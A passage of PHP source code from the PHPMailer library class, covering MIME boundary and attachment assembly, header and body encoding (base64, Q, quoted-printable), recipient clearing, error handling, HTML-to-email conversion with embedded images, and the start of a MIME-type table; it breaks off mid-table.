9860 if ($this->exceptions) {
9861 throw $exc;
9862 }
9863 }
9864 }
9865 return $body;
9866 }
9867
9868 /**
9869 * Return the start of a message boundary.
9870 * @access protected
9871 * @param string $boundary
9872 * @param string $charSet
9873 * @param string $contentType
9874 * @param string $encoding
9875 * @return string
9876 */
9877 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
9878 {
9879 $result = '';
9880 if ($charSet == '') {
9881 $charSet = $this->CharSet;
9882 }
9883 if ($contentType == '') {
9884 $contentType = $this->ContentType;
9885 }
9886 if ($encoding == '') {
9887 $encoding = $this->Encoding;
9888 }
9889 $result .= $this->textLine('--' . $boundary);
9890 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
9891 $result .= $this->LE;
9892 // RFC1341 part 5 says 7bit is assumed if not specified
9893 if ($encoding != '7bit') {
9894 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
9895 }
9896 $result .= $this->LE;
9897
9898 return $result;
9899 }
9900
9901 /**
9902 * Return the end of a message boundary.
9903 * @access protected
9904 * @param string $boundary
9905 * @return string
9906 */
9907 protected function endBoundary($boundary)
9908 {
9909 return $this->LE . '--' . $boundary . '--' . $this->LE;
9910 }
9911
9912 /**
9913 * Set the message type.
9914 * PHPMailer only supports some preset message types,
9915 * not arbitrary MIME structures.
9916 * @access protected
9917 * @return void
9918 */
9919 protected function setMessageType()
9920 {
9921 $type = array();
9922 if ($this->alternativeExists()) {
9923 $type[] = 'alt';
9924 }
9925 if ($this->inlineImageExists()) {
9926 $type[] = 'inline';
9927 }
9928 if ($this->attachmentExists()) {
9929 $type[] = 'attach';
9930 }
9931 $this->message_type = implode('_', $type);
9932 if ($this->message_type == '') {
9933 $this->message_type = 'plain';
9934 }
9935 }
9936
9937 /**
9938 * Format a header line.
9939 * @access public
9940 * @param string $name
9941 * @param string $value
9942 * @return string
9943 */
9944 public function headerLine($name, $value)
9945 {
9946 return $name . ': ' . $value . $this->LE;
9947 }
9948
9949 /**
9950 * Return a formatted mail line.
9951 * @access public
9952 * @param string $value
9953 * @return string
9954 */
9955 public function textLine($value)
9956 {
9957 return $value . $this->LE;
9958 }
9959
9960 /**
9961 * Add an attachment from a path on the filesystem.
9962 * Returns false if the file could not be found or read.
9963 * @param string $path Path to the attachment.
9964 * @param string $name Overrides the attachment name.
9965 * @param string $encoding File encoding (see $Encoding).
9966 * @param string $type File extension (MIME) type.
9967 * @param string $disposition Disposition to use
9968 * @throws phpmailerException
9969 * @return boolean
9970 */
9971 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
9972 {
9973 try {
9974 if (!@is_file($path)) {
9975 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
9976 }
9977
9978 // If a MIME type is not specified, try to work it out from the file name
9979 if ($type == '') {
9980 $type = self::filenameToType($path);
9981 }
9982
9983 $filename = basename($path);
9984 if ($name == '') {
9985 $name = $filename;
9986 }
9987
9988 $this->attachment[] = array(
9989 0 => $path,
9990 1 => $filename,
9991 2 => $name,
9992 3 => $encoding,
9993 4 => $type,
9994 5 => false, // isStringAttachment
9995 6 => $disposition,
9996 7 => 0
9997 );
9998
9999 } catch (phpmailerException $exc) {
10000 $this->setError($exc->getMessage());
10001 $this->edebug($exc->getMessage());
10002 if ($this->exceptions) {
10003 throw $exc;
10004 }
10005 return false;
10006 }
10007 return true;
10008 }
10009
10010 /**
10011 * Return the array of attachments.
10012 * @return array
10013 */
10014 public function getAttachments()
10015 {
10016 return $this->attachment;
10017 }
10018
10019 /**
10020 * Attach all file, string, and binary attachments to the message.
10021 * Returns an empty string on failure.
10022 * @access protected
10023 * @param string $disposition_type
10024 * @param string $boundary
10025 * @return string
10026 */
10027 protected function attachAll($disposition_type, $boundary)
10028 {
10029 // Return text of body
10030 $mime = array();
10031 $cidUniq = array();
10032 $incl = array();
10033
10034 // Add all attachments
10035 foreach ($this->attachment as $attachment) {
10036 // Check if it is a valid disposition_filter
10037 if ($attachment[6] == $disposition_type) {
10038 // Check for string attachment
10039 $string = '';
10040 $path = '';
10041 $bString = $attachment[5];
10042 if ($bString) {
10043 $string = $attachment[0];
10044 } else {
10045 $path = $attachment[0];
10046 }
10047
10048 $inclhash = md5(serialize($attachment));
10049 if (in_array($inclhash, $incl)) {
10050 continue;
10051 }
10052 $incl[] = $inclhash;
10053 $name = $attachment[2];
10054 $encoding = $attachment[3];
10055 $type = $attachment[4];
10056 $disposition = $attachment[6];
10057 $cid = $attachment[7];
10058 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
10059 continue;
10060 }
10061 $cidUniq[$cid] = true;
10062
10063 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
10064 $mime[] = sprintf(
10065 'Content-Type: %s; name="%s"%s',
10066 $type,
10067 $this->encodeHeader($this->secureHeader($name)),
10068 $this->LE
10069 );
10070 // RFC1341 part 5 says 7bit is assumed if not specified
10071 if ($encoding != '7bit') {
10072 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
10073 }
10074
10075 if ($disposition == 'inline') {
10076 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
10077 }
10078
10079 // If a filename contains any of these chars, it should be quoted,
10080 // but not otherwise: RFC2183 & RFC2045 5.1
10081 // Fixes a warning in IETF's msglint MIME checker
10082 // Allow for bypassing the Content-Disposition header totally
10083 if (!(empty($disposition))) {
10084 $encoded_name = $this->encodeHeader($this->secureHeader($name));
10085 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
10086 $mime[] = sprintf(
10087 'Content-Disposition: %s; filename="%s"%s',
10088 $disposition,
10089 $encoded_name,
10090 $this->LE . $this->LE
10091 );
10092 } else {
10093 $mime[] = sprintf(
10094 'Content-Disposition: %s; filename=%s%s',
10095 $disposition,
10096 $encoded_name,
10097 $this->LE . $this->LE
10098 );
10099 }
10100 } else {
10101 $mime[] = $this->LE;
10102 }
10103
10104 // Encode as string attachment
10105 if ($bString) {
10106 $mime[] = $this->encodeString($string, $encoding);
10107 if ($this->isError()) {
10108 return '';
10109 }
10110 $mime[] = $this->LE . $this->LE;
10111 } else {
10112 $mime[] = $this->encodeFile($path, $encoding);
10113 if ($this->isError()) {
10114 return '';
10115 }
10116 $mime[] = $this->LE . $this->LE;
10117 }
10118 }
10119 }
10120
10121 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
10122
10123 return implode('', $mime);
10124 }
10125
10126 /**
10127 * Encode a file attachment in requested format.
10128 * Returns an empty string on failure.
10129 * @param string $path The full path to the file
10130 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10131 * @throws phpmailerException
10132 * @see EncodeFile(encodeFile
10133 * @access protected
10134 * @return string
10135 */
10136 protected function encodeFile($path, $encoding = 'base64')
10137 {
10138 try {
10139 if (!is_readable($path)) {
10140 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
10141 }
10142 $magic_quotes = get_magic_quotes_runtime();
10143 if ($magic_quotes) {
10144 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10145 set_magic_quotes_runtime(false);
10146 } else {
10147 //Doesn't exist in PHP 5.4, but we don't need to check because
10148 //get_magic_quotes_runtime always returns false in 5.4+
10149 //so it will never get here
10150 ini_set('magic_quotes_runtime', 0);
10151 }
10152 }
10153 $file_buffer = file_get_contents($path);
10154 $file_buffer = $this->encodeString($file_buffer, $encoding);
10155 if ($magic_quotes) {
10156 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10157 set_magic_quotes_runtime($magic_quotes);
10158 } else {
10159 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
10160 }
10161 }
10162 return $file_buffer;
10163 } catch (Exception $exc) {
10164 $this->setError($exc->getMessage());
10165 return '';
10166 }
10167 }
10168
10169 /**
10170 * Encode a string in requested format.
10171 * Returns an empty string on failure.
10172 * @param string $str The text to encode
10173 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10174 * @access public
10175 * @return string
10176 */
10177 public function encodeString($str, $encoding = 'base64')
10178 {
10179 $encoded = '';
10180 switch (strtolower($encoding)) {
10181 case 'base64':
10182 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
10183 break;
10184 case '7bit':
10185 case '8bit':
10186 $encoded = $this->fixEOL($str);
10187 // Make sure it ends with a line break
10188 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
10189 $encoded .= $this->LE;
10190 }
10191 break;
10192 case 'binary':
10193 $encoded = $str;
10194 break;
10195 case 'quoted-printable':
10196 $encoded = $this->encodeQP($str);
10197 break;
10198 default:
10199 $this->setError($this->lang('encoding') . $encoding);
10200 break;
10201 }
10202 return $encoded;
10203 }
10204
10205 /**
10206 * Encode a header string optimally.
10207 * Picks shortest of Q, B, quoted-printable or none.
10208 * @access public
10209 * @param string $str
10210 * @param string $position
10211 * @return string
10212 */
10213 public function encodeHeader($str, $position = 'text')
10214 {
10215 $matchcount = 0;
10216 switch (strtolower($position)) {
10217 case 'phrase':
10218 if (!preg_match('/[\200-\377]/', $str)) {
10219 // Can't use addslashes as we don't know the value of magic_quotes_sybase
10220 $encoded = addcslashes($str, "\0..\37\177\\\"");
10221 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
10222 return ($encoded);
10223 } else {
10224 return ("\"$encoded\"");
10225 }
10226 }
10227 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
10228 break;
10229 /** @noinspection PhpMissingBreakStatementInspection */
10230 case 'comment':
10231 $matchcount = preg_match_all('/[()"]/', $str, $matches);
10232 // Intentional fall-through
10233 case 'text':
10234 default:
10235 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
10236 break;
10237 }
10238
10239 if ($matchcount == 0) { // There are no chars that need encoding
10240 return ($str);
10241 }
10242
10243 $maxlen = 75 - 7 - strlen($this->CharSet);
10244 // Try to select the encoding which should produce the shortest output
10245 if ($matchcount > strlen($str) / 3) {
10246 // More than a third of the content will need encoding, so B encoding will be most efficient
10247 $encoding = 'B';
10248 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
10249 // Use a custom function which correctly encodes and wraps long
10250 // multibyte strings without breaking lines within a character
10251 $encoded = $this->base64EncodeWrapMB($str, "\n");
10252 } else {
10253 $encoded = base64_encode($str);
10254 $maxlen -= $maxlen % 4;
10255 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
10256 }
10257 } else {
10258 $encoding = 'Q';
10259 $encoded = $this->encodeQ($str, $position);
10260 $encoded = $this->wrapText($encoded, $maxlen, true);
10261 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
10262 }
10263
10264 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
10265 $encoded = trim(str_replace("\n", $this->LE, $encoded));
10266
10267 return $encoded;
10268 }
10269
10270 /**
10271 * Check if a string contains multi-byte characters.
10272 * @access public
10273 * @param string $str multi-byte text to wrap encode
10274 * @return boolean
10275 */
10276 public function hasMultiBytes($str)
10277 {
10278 if (function_exists('mb_strlen')) {
10279 return (strlen($str) > mb_strlen($str, $this->CharSet));
10280 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
10281 return false;
10282 }
10283 }
10284
10285 /**
10286 * Does a string contain any 8-bit chars (in any charset)?
10287 * @param string $text
10288 * @return boolean
10289 */
10290 public function has8bitChars($text)
10291 {
10292 return (boolean)preg_match('/[\x80-\xFF]/', $text);
10293 }
10294
10295 /**
10296 * Encode and wrap long multibyte strings for mail headers
10297 * without breaking lines within a character.
10298 * Adapted from a function by paravoid
10299 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
10300 * @access public
10301 * @param string $str multi-byte text to wrap encode
10302 * @param string $linebreak string to use as linefeed/end-of-line
10303 * @return string
10304 */
10305 public function base64EncodeWrapMB($str, $linebreak = null)
10306 {
10307 $start = '=?' . $this->CharSet . '?B?';
10308 $end = '?=';
10309 $encoded = '';
10310 if ($linebreak === null) {
10311 $linebreak = $this->LE;
10312 }
10313
10314 $mb_length = mb_strlen($str, $this->CharSet);
10315 // Each line must have length <= 75, including $start and $end
10316 $length = 75 - strlen($start) - strlen($end);
10317 // Average multi-byte ratio
10318 $ratio = $mb_length / strlen($str);
10319 // Base64 has a 4:3 ratio
10320 $avgLength = floor($length * $ratio * .75);
10321
10322 for ($i = 0; $i < $mb_length; $i += $offset) {
10323 $lookBack = 0;
10324 do {
10325 $offset = $avgLength - $lookBack;
10326 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
10327 $chunk = base64_encode($chunk);
10328 $lookBack++;
10329 } while (strlen($chunk) > $length);
10330 $encoded .= $chunk . $linebreak;
10331 }
10332
10333 // Chomp the last linefeed
10334 $encoded = substr($encoded, 0, -strlen($linebreak));
10335 return $encoded;
10336 }
10337
10338 /**
10339 * Encode a string in quoted-printable format.
10340 * According to RFC2045 section 6.7.
10341 * @access public
10342 * @param string $string The text to encode
10343 * @param integer $line_max Number of chars allowed on a line before wrapping
10344 * @return string
10345 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
10346 */
10347 public function encodeQP($string, $line_max = 76)
10348 {
10349 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
10350 return $this->fixEOL(quoted_printable_encode($string));
10351 }
10352 // Fall back to a pure PHP implementation
10353 $string = str_replace(
10354 array('%20', '%0D%0A.', '%0D%0A', '%'),
10355 array(' ', "\r\n=2E", "\r\n", '='),
10356 rawurlencode($string)
10357 );
10358 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
10359 return $this->fixEOL($string);
10360 }
10361
10362 /**
10363 * Backward compatibility wrapper for an old QP encoding function that was removed.
10364 * @see PHPMailer::encodeQP()
10365 * @access public
10366 * @param string $string
10367 * @param integer $line_max
10368 * @param boolean $space_conv
10369 * @return string
10370 * @deprecated Use encodeQP instead.
10371 */
10372 public function encodeQPphp(
10373 $string,
10374 $line_max = 76,
10375 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
10376 ) {
10377 return $this->encodeQP($string, $line_max);
10378 }
10379
10380 /**
10381 * Encode a string using Q encoding.
10382 * @link http://tools.ietf.org/html/rfc2047
10383 * @param string $str the text to encode
10384 * @param string $position Where the text is going to be used, see the RFC for what that means
10385 * @access public
10386 * @return string
10387 */
10388 public function encodeQ($str, $position = 'text')
10389 {
10390 // There should not be any EOL in the string
10391 $pattern = '';
10392 $encoded = str_replace(array("\r", "\n"), '', $str);
10393 switch (strtolower($position)) {
10394 case 'phrase':
10395 // RFC 2047 section 5.3
10396 $pattern = '^A-Za-z0-9!*+\/ -';
10397 break;
10398 /** @noinspection PhpMissingBreakStatementInspection */
10399 case 'comment':
10400 // RFC 2047 section 5.2
10401 $pattern = '\(\)"';
10402 // intentional fall-through
10403 // for this reason we build the $pattern without including delimiters and []
10404 case 'text':
10405 default:
10406 // RFC 2047 section 5.1
10407 // Replace every high ascii, control, =, ? and _ characters
10408 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
10409 break;
10410 }
10411 $matches = array();
10412 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
10413 // If the string contains an '=', make sure it's the first thing we replace
10414 // so as to avoid double-encoding
10415 $eqkey = array_search('=', $matches[0]);
10416 if (false !== $eqkey) {
10417 unset($matches[0][$eqkey]);
10418 array_unshift($matches[0], '=');
10419 }
10420 foreach (array_unique($matches[0]) as $char) {
10421 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
10422 }
10423 }
10424 // Replace every spaces to _ (more readable than =20)
10425 return str_replace(' ', '_', $encoded);
10426 }
10427
10428
10429 /**
10430 * Add a string or binary attachment (non-filesystem).
10431 * This method can be used to attach ascii or binary data,
10432 * such as a BLOB record from a database.
10433 * @param string $string String attachment data.
10434 * @param string $filename Name of the attachment.
10435 * @param string $encoding File encoding (see $Encoding).
10436 * @param string $type File extension (MIME) type.
10437 * @param string $disposition Disposition to use
10438 * @return void
10439 */
10440 public function addStringAttachment(
10441 $string,
10442 $filename,
10443 $encoding = 'base64',
10444 $type = '',
10445 $disposition = 'attachment'
10446 ) {
10447 // If a MIME type is not specified, try to work it out from the file name
10448 if ($type == '') {
10449 $type = self::filenameToType($filename);
10450 }
10451 // Append to $attachment array
10452 $this->attachment[] = array(
10453 0 => $string,
10454 1 => $filename,
10455 2 => basename($filename),
10456 3 => $encoding,
10457 4 => $type,
10458 5 => true, // isStringAttachment
10459 6 => $disposition,
10460 7 => 0
10461 );
10462 }
10463
10464 /**
10465 * Add an embedded (inline) attachment from a file.
10466 * This can include images, sounds, and just about any other document type.
10467 * These differ from 'regular' attachments in that they are intended to be
10468 * displayed inline with the message, not just attached for download.
10469 * This is used in HTML messages that embed the images
10470 * the HTML refers to using the $cid value.
10471 * @param string $path Path to the attachment.
10472 * @param string $cid Content ID of the attachment; Use this to reference
10473 * the content when using an embedded image in HTML.
10474 * @param string $name Overrides the attachment name.
10475 * @param string $encoding File encoding (see $Encoding).
10476 * @param string $type File MIME type.
10477 * @param string $disposition Disposition to use
10478 * @return boolean True on successfully adding an attachment
10479 */
10480 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
10481 {
10482 if (!@is_file($path)) {
10483 $this->setError($this->lang('file_access') . $path);
10484 return false;
10485 }
10486
10487 // If a MIME type is not specified, try to work it out from the file name
10488 if ($type == '') {
10489 $type = self::filenameToType($path);
10490 }
10491
10492 $filename = basename($path);
10493 if ($name == '') {
10494 $name = $filename;
10495 }
10496
10497 // Append to $attachment array
10498 $this->attachment[] = array(
10499 0 => $path,
10500 1 => $filename,
10501 2 => $name,
10502 3 => $encoding,
10503 4 => $type,
10504 5 => false, // isStringAttachment
10505 6 => $disposition,
10506 7 => $cid
10507 );
10508 return true;
10509 }
10510
10511 /**
10512 * Add an embedded stringified attachment.
10513 * This can include images, sounds, and just about any other document type.
10514 * Be sure to set the $type to an image type for images:
10515 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
10516 * @param string $string The attachment binary data.
10517 * @param string $cid Content ID of the attachment; Use this to reference
10518 * the content when using an embedded image in HTML.
10519 * @param string $name
10520 * @param string $encoding File encoding (see $Encoding).
10521 * @param string $type MIME type.
10522 * @param string $disposition Disposition to use
10523 * @return boolean True on successfully adding an attachment
10524 */
10525 public function addStringEmbeddedImage(
10526 $string,
10527 $cid,
10528 $name = '',
10529 $encoding = 'base64',
10530 $type = '',
10531 $disposition = 'inline'
10532 ) {
10533 // If a MIME type is not specified, try to work it out from the name
10534 if ($type == '') {
10535 $type = self::filenameToType($name);
10536 }
10537
10538 // Append to $attachment array
10539 $this->attachment[] = array(
10540 0 => $string,
10541 1 => $name,
10542 2 => $name,
10543 3 => $encoding,
10544 4 => $type,
10545 5 => true, // isStringAttachment
10546 6 => $disposition,
10547 7 => $cid
10548 );
10549 return true;
10550 }
10551
10552 /**
10553 * Check if an inline attachment is present.
10554 * @access public
10555 * @return boolean
10556 */
10557 public function inlineImageExists()
10558 {
10559 foreach ($this->attachment as $attachment) {
10560 if ($attachment[6] == 'inline') {
10561 return true;
10562 }
10563 }
10564 return false;
10565 }
10566
10567 /**
10568 * Check if an attachment (non-inline) is present.
10569 * @return boolean
10570 */
10571 public function attachmentExists()
10572 {
10573 foreach ($this->attachment as $attachment) {
10574 if ($attachment[6] == 'attachment') {
10575 return true;
10576 }
10577 }
10578 return false;
10579 }
10580
10581 /**
10582 * Check if this message has an alternative body set.
10583 * @return boolean
10584 */
10585 public function alternativeExists()
10586 {
10587 return !empty($this->AltBody);
10588 }
10589
10590 /**
10591 * Clear all To recipients.
10592 * @return void
10593 */
10594 public function clearAddresses()
10595 {
10596 foreach ($this->to as $to) {
10597 unset($this->all_recipients[strtolower($to[0])]);
10598 }
10599 $this->to = array();
10600 }
10601
10602 /**
10603 * Clear all CC recipients.
10604 * @return void
10605 */
10606 public function clearCCs()
10607 {
10608 foreach ($this->cc as $cc) {
10609 unset($this->all_recipients[strtolower($cc[0])]);
10610 }
10611 $this->cc = array();
10612 }
10613
10614 /**
10615 * Clear all BCC recipients.
10616 * @return void
10617 */
10618 public function clearBCCs()
10619 {
10620 foreach ($this->bcc as $bcc) {
10621 unset($this->all_recipients[strtolower($bcc[0])]);
10622 }
10623 $this->bcc = array();
10624 }
10625
10626 /**
10627 * Clear all ReplyTo recipients.
10628 * @return void
10629 */
10630 public function clearReplyTos()
10631 {
10632 $this->ReplyTo = array();
10633 }
10634
10635 /**
10636 * Clear all recipient types.
10637 * @return void
10638 */
10639 public function clearAllRecipients()
10640 {
10641 $this->to = array();
10642 $this->cc = array();
10643 $this->bcc = array();
10644 $this->all_recipients = array();
10645 }
10646
10647 /**
10648 * Clear all filesystem, string, and binary attachments.
10649 * @return void
10650 */
10651 public function clearAttachments()
10652 {
10653 $this->attachment = array();
10654 }
10655
10656 /**
10657 * Clear all custom headers.
10658 * @return void
10659 */
10660 public function clearCustomHeaders()
10661 {
10662 $this->CustomHeader = array();
10663 }
10664
10665 /**
10666 * Add an error message to the error container.
10667 * @access protected
10668 * @param string $msg
10669 * @return void
10670 */
10671 protected function setError($msg)
10672 {
10673 $this->error_count++;
10674 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
10675 $lasterror = $this->smtp->getError();
10676 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
10677 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
10678 }
10679 }
10680 $this->ErrorInfo = $msg;
10681 }
10682
10683 /**
10684 * Return an RFC 822 formatted date.
10685 * @access public
10686 * @return string
10687 * @static
10688 */
10689 public static function rfcDate()
10690 {
10691 // Set the time zone to whatever the default is to avoid 500 errors
10692 // Will default to UTC if it's not set properly in php.ini
10693 date_default_timezone_set(@date_default_timezone_get());
10694 return date('D, j M Y H:i:s O');
10695 }
10696
10697 /**
10698 * Get the server hostname.
10699 * Returns 'localhost.localdomain' if unknown.
10700 * @access protected
10701 * @return string
10702 */
10703 protected function serverHostname()
10704 {
10705 $result = 'localhost.localdomain';
10706 if (!empty($this->Hostname)) {
10707 $result = $this->Hostname;
10708 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
10709 $result = $_SERVER['SERVER_NAME'];
10710 } elseif (function_exists('gethostname') && gethostname() !== false) {
10711 $result = gethostname();
10712 } elseif (php_uname('n') !== false) {
10713 $result = php_uname('n');
10714 }
10715 return $result;
10716 }
10717
10718 /**
10719 * Get an error message in the current language.
10720 * @access protected
10721 * @param string $key
10722 * @return string
10723 */
10724 protected function lang($key)
10725 {
10726 if (count($this->language) < 1) {
10727 $this->setLanguage('en'); // set the default language
10728 }
10729
10730 if (isset($this->language[$key])) {
10731 return $this->language[$key];
10732 } else {
10733 return 'Language string failed to load: ' . $key;
10734 }
10735 }
10736
10737 /**
10738 * Check if an error occurred.
10739 * @access public
10740 * @return boolean True if an error did occur.
10741 */
10742 public function isError()
10743 {
10744 return ($this->error_count > 0);
10745 }
10746
10747 /**
10748 * Ensure consistent line endings in a string.
10749 * Changes every end of line from CRLF, CR or LF to $this->LE.
10750 * @access public
10751 * @param string $str String to fixEOL
10752 * @return string
10753 */
10754 public function fixEOL($str)
10755 {
10756 // Normalise to \n
10757 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
10758 // Now convert LE as needed
10759 if ($this->LE !== "\n") {
10760 $nstr = str_replace("\n", $this->LE, $nstr);
10761 }
10762 return $nstr;
10763 }
10764
10765 /**
10766 * Add a custom header.
10767 * $name value can be overloaded to contain
10768 * both header name and value (name:value)
10769 * @access public
10770 * @param string $name Custom header name
10771 * @param string $value Header value
10772 * @return void
10773 */
10774 public function addCustomHeader($name, $value = null)
10775 {
10776 if ($value === null) {
10777 // Value passed in as name:value
10778 $this->CustomHeader[] = explode(':', $name, 2);
10779 } else {
10780 $this->CustomHeader[] = array($name, $value);
10781 }
10782 }
10783
10784 /**
10785 * Create a message from an HTML string.
10786 * Automatically makes modifications for inline images and backgrounds
10787 * and creates a plain-text version by converting the HTML.
10788 * Overwrites any existing values in $this->Body and $this->AltBody
10789 * @access public
10790 * @param string $message HTML message string
10791 * @param string $basedir baseline directory for path
10792 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
10793 * or your own custom converter @see html2text()
10794 * @return string $message
10795 */
10796 public function msgHTML($message, $basedir = '', $advanced = false)
10797 {
10798 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
10799 if (isset($images[2])) {
10800 foreach ($images[2] as $imgindex => $url) {
10801 // Convert data URIs into embedded images
10802 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
10803 $data = substr($url, strpos($url, ','));
10804 if ($match[2]) {
10805 $data = base64_decode($data);
10806 } else {
10807 $data = rawurldecode($data);
10808 }
10809 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10810 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
10811 $message = str_replace(
10812 $images[0][$imgindex],
10813 $images[1][$imgindex] . '="cid:' . $cid . '"',
10814 $message
10815 );
10816 }
10817 } elseif (!preg_match('#^[A-z]+://#', $url)) {
10818 // Do not change urls for absolute images (thanks to corvuscorax)
10819 $filename = basename($url);
10820 $directory = dirname($url);
10821 if ($directory == '.') {
10822 $directory = '';
10823 }
10824 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10825 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
10826 $basedir .= '/';
10827 }
10828 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
10829 $directory .= '/';
10830 }
10831 if ($this->addEmbeddedImage(
10832 $basedir . $directory . $filename,
10833 $cid,
10834 $filename,
10835 'base64',
10836 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
10837 )
10838 ) {
10839 $message = preg_replace(
10840 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
10841 $images[1][$imgindex] . '="cid:' . $cid . '"',
10842 $message
10843 );
10844 }
10845 }
10846 }
10847 }
10848 $this->isHTML(true);
10849 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
10850 $this->Body = $this->normalizeBreaks($message);
10851 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
10852 if (empty($this->AltBody)) {
10853 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
10854 self::CRLF . self::CRLF;
10855 }
10856 return $this->Body;
10857 }
10858
10859 /**
10860 * Convert an HTML string into plain text.
10861 * This is used by msgHTML().
10862 * Note - older versions of this function used a bundled advanced converter
10863 * which was been removed for license reasons in #232
10864 * Example usage:
10865 * <code>
10866 * // Use default conversion
10867 * $plain = $mail->html2text($html);
10868 * // Use your own custom converter
10869 * $plain = $mail->html2text($html, function($html) {
10870 * $converter = new MyHtml2text($html);
10871 * return $converter->get_text();
10872 * });
10873 * </code>
10874 * @param string $html The HTML text to convert
10875 * @param boolean|callable $advanced Any boolean value to use the internal converter,
10876 * or provide your own callable for custom conversion.
10877 * @return string
10878 */
10879 public function html2text($html, $advanced = false)
10880 {
10881 if (is_callable($advanced)) {
10882 return call_user_func($advanced, $html);
10883 }
10884 return html_entity_decode(
10885 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
10886 ENT_QUOTES,
10887 $this->CharSet
10888 );
10889 }
10890
10891 /**
10892 * Get the MIME type for a file extension.
10893 * @param string $ext File extension
10894 * @access public
10895 * @return string MIME type of file.
10896 * @static
10897 */
10898 public static function _mime_types($ext = '')
10899 {
10900 $mimes = array(
10901 'xl' => 'application/excel',
10902 'js' => 'application/javascript',
10903 'hqx' => 'application/mac-binhex40',
10904 'cpt' => 'application/mac-compactpro',
10905 'bin' => 'application/macbinary',
10906 'doc' => 'application/msword',
10907 'word' => 'application/msword',
10908 'class' => 'application/octet-stream',
10909 'dll' => 'application/octet-stream',
10910 'dms' => 'application/octet-stream',
10911 'exe' => 'application/octet-stream',
10912 'lha' => 'application/octet-stream',
10913 'lzh' => 'application/octet-stream',
10914 'psd' => 'application/octet-stream',
10915 'sea' => 'application/octet-stream',
10916 'so' => 'application/octet-stream',
10917 'oda' => 'application/oda',
10918 'pdf' => 'application/pdf',
10919 'ai' => 'application/postscript',
10920 'eps' => 'application/postscript',
10921 'ps' => 'application/postscript',
10922 'smi' => 'application/smil',
10923 'smil' => 'application/smil',
10924 'mif' => 'application/vnd.mif',
10925 'xls' => 'application/vnd.ms-excel',
10926 'ppt' => 'application/vnd.ms-powerpoint',
10927 'wbxml' => 'application/vnd.wap.wbxml',
10928 'wmlc' => 'application/vnd.wap.wmlc',
10929 'dcr' => 'application/x-director',
10930 'dir' => 'application/x-director',
10931 'dxr' => 'application/x-director',
10932 'dvi' => 'application/x-dvi',
10933 'gtar' => 'application/x-gtar',
10934 'php3' => 'application/x-httpd-php',
10935 'php4' => 'application/x-httpd-php',
10936 'php' => 'application/x-httpd-php',
10937 'phtml' => 'application/x-httpd-php',
10938 'phps' => 'application/x-httpd-php-source',
10939 'swf' => 'application/x-shockwave-flash',
10940 'sit' => 'application/x-stuffit',
10941 'tar' => 'application/x-tar',
10942 'tgz' => 'application/x-tar',
10943 'xht' => 'application/xhtml+xml',
10944 'xhtml' => 'application/xhtml+xml',
10945 'zip' => 'application/zip',
